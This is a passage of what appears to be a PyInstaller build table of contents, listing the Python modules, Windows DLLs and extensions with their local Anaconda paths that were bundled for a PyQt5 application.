'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\no_clipboard.py', 39 | 'PYMODULE'), 40 | ('pyreadline.clipboard.win32_clipboard', 41 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\win32_clipboard.py', 42 | 'PYMODULE'), 43 | ('pyreadline.clipboard', 44 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\clipboard\\__init__.py', 45 | 'PYMODULE'), 46 | ('pyreadline.lineeditor', 47 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\__init__.py', 48 | 'PYMODULE'), 49 | ('pyreadline.error', 50 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\error.py', 51 | 'PYMODULE'), 52 | ('pyreadline.modes.basemode', 53 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\basemode.py', 54 | 'PYMODULE'), 55 | ('pyreadline.modes.emacs', 56 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\emacs.py', 57 | 'PYMODULE'), 58 | ('pyreadline.modes.notemacs', 59 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\notemacs.py', 60 | 'PYMODULE'), 61 | ('pyreadline.lineeditor.wordmatcher', 62 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\wordmatcher.py', 63 | 'PYMODULE'), 64 | ('pyreadline.lineeditor.lineobj', 65 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\lineobj.py', 66 | 'PYMODULE'), 67 | ('pyreadline.lineeditor.history', 68 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\lineeditor\\history.py', 69 | 'PYMODULE'), 70 | ('pyreadline.modes.vi', 71 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\vi.py', 72 | 'PYMODULE'), 73 | ('pyreadline.modes', 74 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\modes\\__init__.py', 75 | 'PYMODULE'), 76 | ('pyreadline.release', 77 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\release.py', 78 | 'PYMODULE'), 79 | ('pyreadline', 80 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\__init__.py', 81 | 'PYMODULE'), 82 | ('pyreadline.console.ironpython_console', 83 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ironpython_console.py', 84 | 'PYMODULE'), 85 | ('pyreadline.py3k_compat', 86 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\py3k_compat.py', 87 | 'PYMODULE'), 88 | ('pyreadline.unicode_helper', 89 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\unicode_helper.py', 90 | 'PYMODULE'), 91 | ('queue', 'E:\\Anaconda3\\lib\\queue.py', 'PYMODULE'), 92 | ('hmac', 'E:\\Anaconda3\\lib\\hmac.py', 'PYMODULE'), 93 | ('smtplib', 'E:\\Anaconda3\\lib\\smtplib.py', 'PYMODULE'), 94 | ('win32con', 95 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32con.py', 96 | 'PYMODULE'), 97 | ('winerror', 98 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\winerror.py', 99 | 'PYMODULE'), 100 | ('win32evtlogutil', 101 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\lib\\win32evtlogutil.py', 102 | 'PYMODULE'), 103 | ('logging.handlers', 'E:\\Anaconda3\\lib\\logging\\handlers.py', 'PYMODULE'), 104 | ('pyreadline.logger', 105 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\logger.py', 106 | 'PYMODULE'), 107 | ('pyreadline.keysyms.winconstants', 108 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\winconstants.py', 109 | 'PYMODULE'), 110 | ('pyreadline.keysyms.ironpython_keysyms', 111 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\ironpython_keysyms.py', 112 | 'PYMODULE'), 113 | ('pyreadline.keysyms.common', 114 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\common.py', 115 | 'PYMODULE'), 116 | ('pyreadline.keysyms.keysyms', 117 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\keysyms.py', 118 | 'PYMODULE'), 119 | ('pyreadline.keysyms', 120 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\keysyms\\__init__.py', 121 | 'PYMODULE'), 122 | ('pyreadline.console.ansi', 123 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\ansi.py', 124 | 'PYMODULE'), 125 | ('ctypes.macholib.framework', 126 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\framework.py', 127 | 'PYMODULE'), 128 | ('ctypes.macholib.dylib', 129 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dylib.py', 130 | 'PYMODULE'), 131 | ('ctypes.macholib', 132 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\__init__.py', 133 | 'PYMODULE'), 134 | ('ctypes.macholib.dyld', 135 | 'E:\\Anaconda3\\lib\\ctypes\\macholib\\dyld.py', 136 | 'PYMODULE'), 137 | ('ctypes.util', 'E:\\Anaconda3\\lib\\ctypes\\util.py', 'PYMODULE'), 138 | ('ctypes._endian', 'E:\\Anaconda3\\lib\\ctypes\\_endian.py', 'PYMODULE'), 139 | ('ctypes', 'E:\\Anaconda3\\lib\\ctypes\\__init__.py', 'PYMODULE'), 140 | ('ctypes.wintypes', 'E:\\Anaconda3\\lib\\ctypes\\wintypes.py', 'PYMODULE'), 141 | ('pyreadline.console.event', 142 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\event.py', 143 | 'PYMODULE'), 144 | ('pyreadline.console.console', 145 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\console.py', 146 | 'PYMODULE'), 147 | ('pyreadline.console', 148 | 'E:\\Anaconda3\\lib\\site-packages\\pyreadline\\console\\__init__.py', 149 | 'PYMODULE'), 150 | ('readline', 'E:\\Anaconda3\\lib\\site-packages\\readline.py', 'PYMODULE'), 151 | ('shlex', 'E:\\Anaconda3\\lib\\shlex.py', 'PYMODULE'), 152 | ('importlib._bootstrap', 153 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap.py', 154 | 'PYMODULE'), 155 | ('importlib._bootstrap_external', 156 | 'E:\\Anaconda3\\lib\\importlib\\_bootstrap_external.py', 157 | 'PYMODULE'), 158 | ('importlib.machinery', 159 | 'E:\\Anaconda3\\lib\\importlib\\machinery.py', 160 | 'PYMODULE'), 161 | ('importlib.util', 'E:\\Anaconda3\\lib\\importlib\\util.py', 'PYMODULE'), 162 | ('importlib.abc', 'E:\\Anaconda3\\lib\\importlib\\abc.py', 'PYMODULE'), 163 | ('importlib', 'E:\\Anaconda3\\lib\\importlib\\__init__.py', 'PYMODULE'), 164 | ('pkgutil', 'E:\\Anaconda3\\lib\\pkgutil.py', 'PYMODULE'), 165 | ('xml', 'E:\\Anaconda3\\lib\\xml\\__init__.py', 'PYMODULE'), 166 | ('xml.sax.expatreader', 167 | 'E:\\Anaconda3\\lib\\xml\\sax\\expatreader.py', 168 | 'PYMODULE'), 169 | ('xml.sax.saxutils', 'E:\\Anaconda3\\lib\\xml\\sax\\saxutils.py', 'PYMODULE'), 170 | ('urllib.request', 'E:\\Anaconda3\\lib\\urllib\\request.py', 'PYMODULE'), 171 | ('getpass', 'E:\\Anaconda3\\lib\\getpass.py', 'PYMODULE'), 172 | ('nturl2path', 'E:\\Anaconda3\\lib\\nturl2path.py', 'PYMODULE'), 173 | ('ftplib', 'E:\\Anaconda3\\lib\\ftplib.py', 'PYMODULE'), 174 | ('netrc', 'E:\\Anaconda3\\lib\\netrc.py', 'PYMODULE'), 175 | ('http.cookiejar', 'E:\\Anaconda3\\lib\\http\\cookiejar.py', 'PYMODULE'), 176 | ('urllib.response', 'E:\\Anaconda3\\lib\\urllib\\response.py', 'PYMODULE'), 177 | ('urllib.error', 'E:\\Anaconda3\\lib\\urllib\\error.py', 'PYMODULE'), 178 | ('xml.sax', 'E:\\Anaconda3\\lib\\xml\\sax\\__init__.py', 'PYMODULE'), 179 | ('xml.sax.handler', 'E:\\Anaconda3\\lib\\xml\\sax\\handler.py', 'PYMODULE'), 180 | ('xml.sax._exceptions', 181 | 'E:\\Anaconda3\\lib\\xml\\sax\\_exceptions.py', 182 | 'PYMODULE'), 183 | ('xml.sax.xmlreader', 184 | 'E:\\Anaconda3\\lib\\xml\\sax\\xmlreader.py', 185 | 'PYMODULE'), 186 | ('xml.parsers', 'E:\\Anaconda3\\lib\\xml\\parsers\\__init__.py', 'PYMODULE'), 187 | ('xml.parsers.expat', 188 | 'E:\\Anaconda3\\lib\\xml\\parsers\\expat.py', 189 | 'PYMODULE'), 190 | ('plistlib', 'E:\\Anaconda3\\lib\\plistlib.py', 'PYMODULE'), 191 | ('platform', 'E:\\Anaconda3\\lib\\platform.py', 'PYMODULE'), 192 | ('token', 'E:\\Anaconda3\\lib\\token.py', 'PYMODULE'), 193 | ('tokenize', 'E:\\Anaconda3\\lib\\tokenize.py', 'PYMODULE'), 194 | ('urllib.parse', 'E:\\Anaconda3\\lib\\urllib\\parse.py', 'PYMODULE'), 195 | ('tempfile', 'E:\\Anaconda3\\lib\\tempfile.py', 'PYMODULE'), 196 | ('subprocess', 'E:\\Anaconda3\\lib\\subprocess.py', 'PYMODULE'), 197 | ('tty', 'E:\\Anaconda3\\lib\\tty.py', 'PYMODULE'), 198 | ('pydoc_data', 'E:\\Anaconda3\\lib\\pydoc_data\\__init__.py', 'PYMODULE'), 199 | ('pydoc_data.topics', 200 | 'E:\\Anaconda3\\lib\\pydoc_data\\topics.py', 201 | 'PYMODULE'), 202 | ('textwrap', 'E:\\Anaconda3\\lib\\textwrap.py', 'PYMODULE'), 203 | ('html.entities', 'E:\\Anaconda3\\lib\\html\\entities.py', 'PYMODULE'), 204 | ('html', 'E:\\Anaconda3\\lib\\html\\__init__.py', 'PYMODULE'), 205 | ('ipaddress', 'E:\\Anaconda3\\lib\\ipaddress.py', 'PYMODULE'), 206 | ('ssl', 'E:\\Anaconda3\\lib\\ssl.py', 'PYMODULE'), 207 | ('http.client', 'E:\\Anaconda3\\lib\\http\\client.py', 'PYMODULE'), 208 | ('mimetypes', 'E:\\Anaconda3\\lib\\mimetypes.py', 'PYMODULE'), 209 | ('socketserver', 'E:\\Anaconda3\\lib\\socketserver.py', 'PYMODULE'), 210 | ('http', 'E:\\Anaconda3\\lib\\http\\__init__.py', 'PYMODULE'), 211 | ('http.server', 'E:\\Anaconda3\\lib\\http\\server.py', 'PYMODULE'), 212 | ('optparse', 'E:\\Anaconda3\\lib\\optparse.py', 'PYMODULE'), 213 | ('uu', 'E:\\Anaconda3\\lib\\uu.py', 'PYMODULE'), 214 | ('quopri', 'E:\\Anaconda3\\lib\\quopri.py', 'PYMODULE'), 215 | ('email.feedparser', 'E:\\Anaconda3\\lib\\email\\feedparser.py', 'PYMODULE'), 216 | ('email.parser', 'E:\\Anaconda3\\lib\\email\\parser.py', 'PYMODULE'), 217 | ('email', 'E:\\Anaconda3\\lib\\email\\__init__.py', 'PYMODULE'), 218 | ('calendar', 'E:\\Anaconda3\\lib\\calendar.py', 'PYMODULE'), 219 | ('email._parseaddr', 'E:\\Anaconda3\\lib\\email\\_parseaddr.py', 'PYMODULE'), 220 | ('email.utils', 'E:\\Anaconda3\\lib\\email\\utils.py', 'PYMODULE'), 221 | ('email.errors', 'E:\\Anaconda3\\lib\\email\\errors.py', 'PYMODULE'), 222 | ('email.header', 'E:\\Anaconda3\\lib\\email\\header.py', 'PYMODULE'), 223 | ('email._policybase', 224 | 'E:\\Anaconda3\\lib\\email\\_policybase.py', 225 | 'PYMODULE'), 226 | ('email.base64mime', 'E:\\Anaconda3\\lib\\email\\base64mime.py', 'PYMODULE'), 227 | ('email.encoders', 'E:\\Anaconda3\\lib\\email\\encoders.py', 'PYMODULE'), 228 | ('email.charset', 'E:\\Anaconda3\\lib\\email\\charset.py', 'PYMODULE'), 229 | ('base64', 'E:\\Anaconda3\\lib\\base64.py', 'PYMODULE'), 230 | ('email._encoded_words', 231 | 'E:\\Anaconda3\\lib\\email\\_encoded_words.py', 232 | 'PYMODULE'), 233 | ('hashlib', 'E:\\Anaconda3\\lib\\hashlib.py', 'PYMODULE'), 234 | ('bisect', 'E:\\Anaconda3\\lib\\bisect.py', 'PYMODULE'), 235 | ('random', 'E:\\Anaconda3\\lib\\random.py', 'PYMODULE'), 236 | ('email.generator', 'E:\\Anaconda3\\lib\\email\\generator.py', 'PYMODULE'), 237 | ('email.iterators', 'E:\\Anaconda3\\lib\\email\\iterators.py', 'PYMODULE'), 238 | ('urllib', 'E:\\Anaconda3\\lib\\urllib\\__init__.py', 'PYMODULE'), 239 | ('email._header_value_parser', 240 | 'E:\\Anaconda3\\lib\\email\\_header_value_parser.py', 241 | 'PYMODULE'), 242 | ('email.headerregistry', 243 | 'E:\\Anaconda3\\lib\\email\\headerregistry.py', 244 | 'PYMODULE'), 245 | ('email.quoprimime', 'E:\\Anaconda3\\lib\\email\\quoprimime.py', 'PYMODULE'), 246 | ('email.contentmanager', 247 | 'E:\\Anaconda3\\lib\\email\\contentmanager.py', 248 | 'PYMODULE'), 249 | ('email.policy', 'E:\\Anaconda3\\lib\\email\\policy.py', 'PYMODULE'), 250 | ('email.message', 'E:\\Anaconda3\\lib\\email\\message.py', 'PYMODULE'), 251 | ('bz2', 'E:\\Anaconda3\\lib\\bz2.py', 'PYMODULE'), 252 | ('lzma', 'E:\\Anaconda3\\lib\\lzma.py', 'PYMODULE'), 253 | ('_compression', 'E:\\Anaconda3\\lib\\_compression.py', 'PYMODULE'), 254 | ('gzip', 'E:\\Anaconda3\\lib\\gzip.py', 'PYMODULE'), 255 | ('tarfile', 'E:\\Anaconda3\\lib\\tarfile.py', 'PYMODULE'), 256 | ('_dummy_thread', 'E:\\Anaconda3\\lib\\_dummy_thread.py', 'PYMODULE'), 257 | ('dummy_threading', 'E:\\Anaconda3\\lib\\dummy_threading.py', 'PYMODULE'), 258 | ('py_compile', 'E:\\Anaconda3\\lib\\py_compile.py', 'PYMODULE'), 259 | ('zipfile', 'E:\\Anaconda3\\lib\\zipfile.py', 'PYMODULE'), 260 | ('shutil', 'E:\\Anaconda3\\lib\\shutil.py', 'PYMODULE'), 261 | ('selectors', 'E:\\Anaconda3\\lib\\selectors.py', 'PYMODULE'), 262 | ('webbrowser', 'E:\\Anaconda3\\lib\\webbrowser.py', 'PYMODULE'), 263 | ('pydoc', 'E:\\Anaconda3\\lib\\pydoc.py', 'PYMODULE'), 264 | ('copy', 'E:\\Anaconda3\\lib\\copy.py', 'PYMODULE'), 265 | ('gettext', 'E:\\Anaconda3\\lib\\gettext.py', 'PYMODULE'), 266 | ('getopt', 'E:\\Anaconda3\\lib\\getopt.py', 'PYMODULE'), 267 | ('pdb', 'E:\\Anaconda3\\lib\\pdb.py', 'PYMODULE'), 268 | ('unittest.util', 'E:\\Anaconda3\\lib\\unittest\\util.py', 'PYMODULE'), 269 | ('unittest.result', 'E:\\Anaconda3\\lib\\unittest\\result.py', 'PYMODULE'), 270 | ('string', 'E:\\Anaconda3\\lib\\string.py', 'PYMODULE'), 271 | ('_threading_local', 'E:\\Anaconda3\\lib\\_threading_local.py', 'PYMODULE'), 272 | ('threading', 'E:\\Anaconda3\\lib\\threading.py', 'PYMODULE'), 273 | ('logging', 'E:\\Anaconda3\\lib\\logging\\__init__.py', 'PYMODULE'), 274 | ('contextlib', 'E:\\Anaconda3\\lib\\contextlib.py', 'PYMODULE'), 275 | ('unittest.case', 'E:\\Anaconda3\\lib\\unittest\\case.py', 'PYMODULE'), 276 | ('unittest.suite', 'E:\\Anaconda3\\lib\\unittest\\suite.py', 'PYMODULE'), 277 | ('unittest.loader', 'E:\\Anaconda3\\lib\\unittest\\loader.py', 'PYMODULE'), 278 | ('stat', 'E:\\Anaconda3\\lib\\stat.py', 'PYMODULE'), 279 | ('genericpath', 'E:\\Anaconda3\\lib\\genericpath.py', 'PYMODULE'), 280 | ('posixpath', 'E:\\Anaconda3\\lib\\posixpath.py', 'PYMODULE'), 281 | ('fnmatch', 'E:\\Anaconda3\\lib\\fnmatch.py', 'PYMODULE'), 282 | ('struct', 'E:\\Anaconda3\\lib\\struct.py', 'PYMODULE'), 283 | ('_compat_pickle', 'E:\\Anaconda3\\lib\\_compat_pickle.py', 'PYMODULE'), 284 | ('pprint', 'E:\\Anaconda3\\lib\\pprint.py', 'PYMODULE'), 285 | ('pickle', 'E:\\Anaconda3\\lib\\pickle.py', 'PYMODULE'), 286 | ('tracemalloc', 'E:\\Anaconda3\\lib\\tracemalloc.py', 'PYMODULE'), 287 | ('warnings', 'E:\\Anaconda3\\lib\\warnings.py', 'PYMODULE'), 288 | ('unittest.runner', 'E:\\Anaconda3\\lib\\unittest\\runner.py', 'PYMODULE'), 289 | ('unittest.main', 'E:\\Anaconda3\\lib\\unittest\\main.py', 'PYMODULE'), 290 | ('enum', 'E:\\Anaconda3\\lib\\enum.py', 'PYMODULE'), 291 | ('signal', 'E:\\Anaconda3\\lib\\signal.py', 'PYMODULE'), 292 | ('unittest.signals', 'E:\\Anaconda3\\lib\\unittest\\signals.py', 'PYMODULE'), 293 | ('unittest', 'E:\\Anaconda3\\lib\\unittest\\__init__.py', 'PYMODULE'), 294 | ('doctest', 'E:\\Anaconda3\\lib\\doctest.py', 'PYMODULE'), 295 | ('socket', 'E:\\Anaconda3\\lib\\socket.py', 'PYMODULE'), 296 | ('os', 'E:\\Anaconda3\\lib\\os.py', 'PYMODULE'), 297 | ('PyQt5', 298 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\__init__.py', 299 | 'PYMODULE')], 300 | [('api-ms-win-crt-runtime-l1-1-0.dll', 301 | 'E:\\Anaconda3\\api-ms-win-crt-runtime-l1-1-0.dll', 302 | 'BINARY'), 303 | ('VCRUNTIME140.dll', 'E:\\Anaconda3\\VCRUNTIME140.dll', 'BINARY'), 304 | ('api-ms-win-crt-locale-l1-1-0.dll', 305 | 'E:\\Anaconda3\\api-ms-win-crt-locale-l1-1-0.dll', 306 | 'BINARY'), 307 | ('api-ms-win-crt-heap-l1-1-0.dll', 308 | 'E:\\Anaconda3\\api-ms-win-crt-heap-l1-1-0.dll', 309 | 'BINARY'), 310 | ('python36.dll', 'E:\\Anaconda3\\python36.dll', 'BINARY'), 311 | ('api-ms-win-crt-stdio-l1-1-0.dll', 312 | 'E:\\Anaconda3\\api-ms-win-crt-stdio-l1-1-0.dll', 313 | 'BINARY'), 314 | ('api-ms-win-crt-math-l1-1-0.dll', 315 | 'E:\\Anaconda3\\api-ms-win-crt-math-l1-1-0.dll', 316 | 'BINARY'), 317 | ('ucrtbase.dll', 'E:\\Anaconda3\\ucrtbase.dll', 'BINARY'), 318 | ('api-ms-win-crt-string-l1-1-0.dll', 319 | 'E:\\Anaconda3\\api-ms-win-crt-string-l1-1-0.dll', 320 | 'BINARY'), 321 | ('api-ms-win-crt-convert-l1-1-0.dll', 322 | 'E:\\Anaconda3\\api-ms-win-crt-convert-l1-1-0.dll', 323 | 'BINARY'), 324 | ('api-ms-win-crt-time-l1-1-0.dll', 325 | 'E:\\Anaconda3\\api-ms-win-crt-time-l1-1-0.dll', 326 | 'BINARY'), 327 | ('api-ms-win-crt-environment-l1-1-0.dll', 328 | 'E:\\Anaconda3\\api-ms-win-crt-environment-l1-1-0.dll', 329 | 'BINARY'), 330 | ('api-ms-win-crt-process-l1-1-0.dll', 331 | 'E:\\Anaconda3\\api-ms-win-crt-process-l1-1-0.dll', 332 | 'BINARY'), 333 | ('api-ms-win-crt-filesystem-l1-1-0.dll', 334 | 'E:\\Anaconda3\\api-ms-win-crt-filesystem-l1-1-0.dll', 335 | 'BINARY'), 336 | ('api-ms-win-crt-conio-l1-1-0.dll', 337 | 'E:\\Anaconda3\\api-ms-win-crt-conio-l1-1-0.dll', 338 | 'BINARY'), 339 | ('api-ms-win-core-file-l2-1-0.dll', 340 | 'E:\\Anaconda3\\api-ms-win-core-file-l2-1-0.dll', 341 | 'BINARY'), 342 | ('api-ms-win-core-debug-l1-1-0.dll', 343 | 'E:\\Anaconda3\\api-ms-win-core-debug-l1-1-0.dll', 344 | 'BINARY'), 345 | ('api-ms-win-core-processthreads-l1-1-0.dll', 346 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-0.dll', 347 | 'BINARY'), 348 | ('api-ms-win-core-datetime-l1-1-0.dll', 349 | 'E:\\Anaconda3\\api-ms-win-core-datetime-l1-1-0.dll', 350 | 'BINARY'), 351 | ('api-ms-win-core-timezone-l1-1-0.dll', 352 | 'E:\\Anaconda3\\api-ms-win-core-timezone-l1-1-0.dll', 353 | 'BINARY'), 354 | ('api-ms-win-core-namedpipe-l1-1-0.dll', 355 | 'E:\\Anaconda3\\api-ms-win-core-namedpipe-l1-1-0.dll', 356 | 'BINARY'), 357 | ('api-ms-win-core-console-l1-1-0.dll', 358 | 'E:\\Anaconda3\\api-ms-win-core-console-l1-1-0.dll', 359 | 'BINARY'), 360 | ('api-ms-win-core-rtlsupport-l1-1-0.dll', 361 | 'E:\\Anaconda3\\api-ms-win-core-rtlsupport-l1-1-0.dll', 362 | 'BINARY'), 363 | ('api-ms-win-core-sysinfo-l1-1-0.dll', 364 | 'E:\\Anaconda3\\api-ms-win-core-sysinfo-l1-1-0.dll', 365 | 'BINARY'), 366 | ('api-ms-win-core-string-l1-1-0.dll', 367 | 'E:\\Anaconda3\\api-ms-win-core-string-l1-1-0.dll', 368 | 'BINARY'), 369 | ('api-ms-win-core-memory-l1-1-0.dll', 370 | 'E:\\Anaconda3\\api-ms-win-core-memory-l1-1-0.dll', 371 | 'BINARY'), 372 | ('api-ms-win-core-file-l1-1-0.dll', 373 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-1-0.dll', 374 | 'BINARY'), 375 | ('api-ms-win-core-synch-l1-1-0.dll', 376 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-1-0.dll', 377 | 'BINARY'), 378 | ('api-ms-win-core-file-l1-2-0.dll', 379 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-2-0.dll', 380 | 'BINARY'), 381 | ('api-ms-win-core-processenvironment-l1-1-0.dll', 382 | 'E:\\Anaconda3\\api-ms-win-core-processenvironment-l1-1-0.dll', 383 | 'BINARY'), 384 | ('api-ms-win-core-heap-l1-1-0.dll', 385 | 'E:\\Anaconda3\\api-ms-win-core-heap-l1-1-0.dll', 386 | 'BINARY'), 387 | ('api-ms-win-core-interlocked-l1-1-0.dll', 388 | 'E:\\Anaconda3\\api-ms-win-core-interlocked-l1-1-0.dll', 389 | 'BINARY'), 390 | ('api-ms-win-core-libraryloader-l1-1-0.dll', 391 | 'E:\\Anaconda3\\api-ms-win-core-libraryloader-l1-1-0.dll', 392 | 'BINARY'), 393 | ('api-ms-win-core-util-l1-1-0.dll', 394 | 'E:\\Anaconda3\\api-ms-win-core-util-l1-1-0.dll', 395 | 'BINARY'), 396 | ('api-ms-win-core-synch-l1-2-0.dll', 397 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-2-0.dll', 398 | 'BINARY'), 399 | ('api-ms-win-core-localization-l1-2-0.dll', 400 | 'E:\\Anaconda3\\api-ms-win-core-localization-l1-2-0.dll', 401 | 'BINARY'), 402 | ('api-ms-win-core-profile-l1-1-0.dll', 403 | 'E:\\Anaconda3\\api-ms-win-core-profile-l1-1-0.dll', 404 | 'BINARY'), 405 | ('api-ms-win-core-errorhandling-l1-1-0.dll', 406 | 'E:\\Anaconda3\\api-ms-win-core-errorhandling-l1-1-0.dll', 407 | 'BINARY'), 408 | ('api-ms-win-core-handle-l1-1-0.dll', 409 | 'E:\\Anaconda3\\api-ms-win-core-handle-l1-1-0.dll', 410 | 'BINARY'), 411 | ('api-ms-win-core-processthreads-l1-1-1.dll', 412 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-1.dll', 413 | 'BINARY'), 414 | ('PyQt5\\Qt\\plugins\\platforms\\qoffscreen.dll', 415 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qoffscreen.dll', 416 | 'BINARY'), 417 | ('PyQt5\\Qt\\plugins\\iconengines\\qsvgicon.dll', 418 | 'E:\\Anaconda3\\Library\\plugins\\iconengines\\qsvgicon.dll', 419 | 'BINARY'), 420 | ('PyQt5\\Qt\\plugins\\imageformats\\qtga.dll', 421 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtga.dll', 422 | 'BINARY'), 423 | ('PyQt5\\Qt\\plugins\\platforms\\qwindows.dll', 424 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qwindows.dll', 425 | 'BINARY'), 426 | ('PyQt5\\Qt\\plugins\\imageformats\\qsvg.dll', 427 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qsvg.dll', 428 | 'BINARY'), 429 | ('PyQt5\\Qt\\plugins\\imageformats\\qdds.dll', 430 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qdds.dll', 431 | 'BINARY'), 432 | ('PyQt5\\Qt\\plugins\\imageformats\\qjpeg.dll', 433 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qjpeg.dll', 434 | 'BINARY'), 435 | ('PyQt5\\Qt\\plugins\\imageformats\\qwbmp.dll', 436 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwbmp.dll', 437 | 'BINARY'), 438 | ('PyQt5\\Qt\\plugins\\printsupport\\windowsprintersupport.dll', 439 | 'E:\\Anaconda3\\Library\\plugins\\printsupport\\windowsprintersupport.dll', 440 | 'BINARY'), 441 | ('PyQt5\\Qt\\plugins\\imageformats\\qtiff.dll', 442 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtiff.dll', 443 | 'BINARY'), 444 | ('PyQt5\\Qt\\plugins\\imageformats\\qicns.dll', 445 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qicns.dll', 446 | 'BINARY'), 447 | ('PyQt5\\Qt\\plugins\\imageformats\\qwebp.dll', 448 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwebp.dll', 449 | 'BINARY'), 450 | ('PyQt5\\Qt\\plugins\\platforms\\qminimal.dll', 451 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qminimal.dll', 452 | 'BINARY'), 453 | ('PyQt5\\Qt\\plugins\\imageformats\\qico.dll', 454 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qico.dll', 455 | 'BINARY'), 456 | ('PyQt5\\Qt\\plugins\\imageformats\\qgif.dll', 457 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qgif.dll', 458 | 'BINARY'), 459 | ('_ssl', 'E:\\Anaconda3\\DLLs\\_ssl.pyd', 'EXTENSION'), 460 | ('unicodedata', 'E:\\Anaconda3\\DLLs\\unicodedata.pyd', 'EXTENSION'), 461 | ('win32api', 462 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32api.pyd', 463 | 'EXTENSION'), 464 | ('win32evtlog', 465 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32evtlog.pyd', 466 | 'EXTENSION'), 467 | ('_ctypes', 'E:\\Anaconda3\\DLLs\\_ctypes.pyd', 'EXTENSION'), 468 | ('pyexpat', 'E:\\Anaconda3\\DLLs\\pyexpat.pyd', 'EXTENSION'), 469 | ('_hashlib', 'E:\\Anaconda3\\DLLs\\_hashlib.pyd', 'EXTENSION'), 470 | ('select', 'E:\\Anaconda3\\DLLs\\select.pyd', 'EXTENSION'), 471 | ('_bz2', 'E:\\Anaconda3\\DLLs\\_bz2.pyd', 'EXTENSION'), 472 | ('_lzma', 'E:\\Anaconda3\\DLLs\\_lzma.pyd', 'EXTENSION'), 473 | ('_socket', 'E:\\Anaconda3\\DLLs\\_socket.pyd', 'EXTENSION'), 474 | ('PyQt5.QtWidgets', 475 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtWidgets.pyd', 476 | 'EXTENSION'), 477 | ('sip', 'E:\\Anaconda3\\lib\\site-packages\\sip.pyd', 'EXTENSION'), 478 | ('PyQt5.QtGui', 479 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtGui.pyd', 480 | 'EXTENSION'), 481 | ('PyQt5.QtCore', 482 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtCore.pyd', 483 | 'EXTENSION'), 484 | ('PyQt5.Qt', 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\Qt.pyd', 'EXTENSION'), 485 | ('PyQt5.QtPrintSupport', 486 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtPrintSupport.pyd', 487 | 'EXTENSION'), 488 | ('Qt5Gui.dll', 'E:\\Anaconda3\\Library\\bin\\qt5gui.dll', 'BINARY'), 489 | ('Qt5Core.dll', 'E:\\Anaconda3\\Library\\bin\\qt5core.dll', 'BINARY'), 490 | ('zlib.dll', 'E:\\Anaconda3\\Library\\bin\\zlib.dll', 'BINARY'), 491 | ('libpng16.dll', 'E:\\Anaconda3\\Library\\bin\\libpng16.dll', 'BINARY'), 492 | ('api-ms-win-crt-utility-l1-1-0.dll', 493 | 'E:\\Anaconda3\\api-ms-win-crt-utility-l1-1-0.dll', 494 | 'BINARY'), 495 | ('Qt5Svg.dll', 'E:\\Anaconda3\\Library\\bin\\qt5svg.dll', 'BINARY'), 496 | ('libjpeg.dll', 'E:\\Anaconda3\\Library\\bin\\libjpeg.dll', 'BINARY'), 497 | ('Qt5PrintSupport.dll', 498 | 'E:\\Anaconda3\\Library\\bin\\qt5printsupport.dll', 